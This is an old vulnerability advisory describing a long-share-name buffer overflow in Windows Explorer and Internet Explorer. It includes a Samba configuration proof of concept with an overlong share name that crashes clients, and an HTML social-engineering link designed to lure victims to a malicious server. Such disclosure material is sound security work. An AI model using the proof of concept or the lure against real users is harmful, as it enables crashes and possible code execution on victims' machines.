Microsoft's Explorer and Internet Explorer long share name buffer overflow.

["Rodrigo Gutierrez" <rodrigo@xxxxxxxxxxxxxx>]

Fixed Advisory. 
 
Rodrigo Gutierrez.

Microsoft Explorer and Internet Explorer Long Share Name Buffer Overflow.



Author: Rodrigo Gutierrez <rodrigo@xxxxxxxxxxxxxx>

Affected: MS Internet Explorer, MS Explorer (explorer.exe) 
          Windows XP(All), Windows 2000(All), Windows 98(All), Windows me(All)

Not Tested: Windows 2003

Vendor Status: i notified the vendor in the beginning of 2002, this
               vulnerability was supposed to be fixed in xp service
               pack 1 in XP and SP4 in Windows 2000 according to the 
               vendors knowledge base article 322857.

Vendor url: http://support.microsoft.com/default.aspx?scid=kb;en-us;322857



Background.

MS Explorer (explorer.exe) and MS Internet Explorer(IEXPLORE.EXE) are 
core pieces of Microsoft Windows Operating Systems.



Description

Windows fails to handle long share names when accessing a remote 
file server such as samba, allowing a malicious server to crash the 
clients explorer and eventually get to execute arbitrary code in the 
machine as the current user (usually with Administrator rights in windows
machines).



Analysis

In order to exploit this, an attacker must be able to get a user to connect 
to a malicious server which contains a share name equal or longer than 300
characters. 


Test Scenario

windows wont allow you to create such a long share, but of course samba 
includes the feature ;).   After your samba box is up and running create a 
share in you smb.conf :



#------------ CUT HERE -------------

[AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]
comment = Area 51
path = /tmp/testfolder
public = yes
writable = yes
printable = no
browseable = yes
write list = @trymywingchung

#------------ CUT HERE -------------


After your server is up, just get to your windows test box and get to the
start menu > run > \\your.malicious.server.ip., plufff, explorer will crash
:).

Social Engineering:

<a href="\\my.malicious.server.ip">Enter My 0day sploit archive   
l/p:n0ph33r</a>
 


Workaround.

From your network card settings disable the client for Microsoft networks 
until a real fix for this vulnerability is available.